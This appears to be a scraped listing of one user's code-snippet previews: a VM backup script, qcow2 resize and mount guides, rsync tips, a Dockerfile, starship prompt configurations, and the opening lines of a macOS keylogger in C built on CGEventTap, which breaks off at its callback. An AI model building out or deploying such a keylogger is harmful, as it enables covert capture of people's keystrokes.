asakasinsky

#!/bin/bash
#

BACKUPDEST="$1"
DOMAIN="$2"
MAXBACKUPS="$3"

if [ -z "$BACKUPDEST" -o -z "$DOMAIN" ]; then
    echo "Usage: ./vm-backup <backup-folder> <domain> [max-backups]"
    exit 1

asakasinsky

How to resize a qcow2 disk image on Linux

This example takes olddisk.qcow2 and resizes it into newdisk.qcow2, extending one of the guest's partitions to fill the extra space.

1. qcow2 format

1.1. Verify the filesystems of olddisk.qcow2

asakasinsky

How to mount a qcow2 disk image

This is a quick guide to mounting a qcow2 disk images on your host server. This is useful to reset passwords, edit files, or recover something without the virtual machine running.

Step 1 - Enable NBD on the Host

modprobe nbd max_part=8

asakasinsky

The fastest remote directory rsync over ssh archival I can muster (40MB/s over 1gb NICs)

This creates an archive that does the following:

rsync (Everyone seems to like -z, but it is much slower for me)

• a: archive mode - rescursive, preserves owner, preserves permissions, preserves modification times, preserves group, copies symlinks as symlinks, preserves device files.
• H: preserves hard-links
• A: preserves ACLs

asakasinsky

FROM ruby:2.6.1
RUN curl -sL https://deb.nodesource.com/setup_8.x | bash \
 && apt-get update && apt-get install -y nodejs xvfb libfontconfig wkhtmltopdf && rm -rf /var/lib/apt/lists/* \
 && curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | apt-key add - \
 && echo "deb https://dl.yarnpkg.com/debian/ stable main" | tee /etc/apt/sources.list.d/yarn.list \
 && apt-get update && apt-get install -y yarn && rm -rf /var/lib/apt/lists/*

# Packages for wkhtmltopdf. These are available in ubuntu but not in debian 9. Base image uses debian 9.
RUN wget -q -O /tmp/libjpeg-turbo8.deb http://archive.ubuntu.com/ubuntu/pool/main/libj/libjpeg-turbo/libjpeg-turbo8_2.0.1-0ubuntu2_amd64.deb \
  && dpkg -i /tmp/libjpeg-turbo8.deb \

asakasinsky

#format = """
#[╭─user───❯](bold blue) $username
#[┣─system─❯](bold yellow) $hostname
#[┣─project❯](bold red) $directory$rust$git_branch$git_status$package$golang$terraform$docker_context$python$docker_context$nodejs
#[╰─cmd────❯](bold green) 
#"""
[username]
style_user = "green bold"
style_root = "red bold"
format = "[$user]($style) "

asakasinsky

# add_newline = false
format="""\
    $directory\
    $package\
    $git_branch\
    $line_break\
    $hostname\
    $character\
    """

asakasinsky

  programs.starship = {
      enable = true;
      settings = {
        # "$schema" = "https://starship.rs/config-schema.json";
        add_newline = true;
        command_timeout = 500;
        continuation_prompt = "[∙](bright-black) ";
        format = "[](0x9A348E)$username$hostname$localip$shlvl$singularity$kubernetes[](fg:0x9A348E bg:0xDA627D)$directory$vcsh[](fg:0xDA627D bg:0xFCA17D)$git_branch$git_commit$git_state$git_metrics$git_status$hg_branch[](fg:0x86BBD8 bg:0x06969A)$docker_context$package$buf[](fg:0xFCA17D bg:0x86BBD8)$c$cmake$cobol$container$daml$dart$deno$dotnet$elixir$elm$erlang$golang$haskell$helm$java$julia$kotlin$lua$nim$nodejs$ocaml$perl$php$pulumi$purescript$python$rlang$red$ruby$rust$scala$swift$terraform$vlang$vagrant$zig$nix_shell$conda$spack$memory_usage$aws$gcloud$openstack$azure$env_var$crystal$custom$sudo$cmd_duration$line_break$jobs$battery[](fg:0x06969A bg:0x33658A)$time$status$shell$character";
        right_format = "";
        scan_timeout = 30;

asakasinsky

format = """
[\uE0B6](fg:#1C4961)[$directory](bg:#1C4961)[\uE0B0](fg:#1C4961 bg:#2F79A1)$git_branch[\uE0B0](fg:#2F79A1 bg:#3A95C7)$git_status[\uE0B0](#3A95C7 bg:#40A9E0)$time[\uE0B0](#40A9E0 bg:none) $all$character """

add_newline = true

[directory]
style = "bg:#1C4961 fg:white"

[git_branch]
format = "[ $symbol$branch ]($style)"

asakasinsky

// Super simple key logger that uses a CGEventTap to log
// the unicode strings for each key down event
// Doesn't handle special keys (enter, backspace, etc.)

#include <stdio.h>
#import <Carbon/Carbon.h>
#import <ApplicationServices/ApplicationServices.h>

CGEventRef loggerCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void* context)
{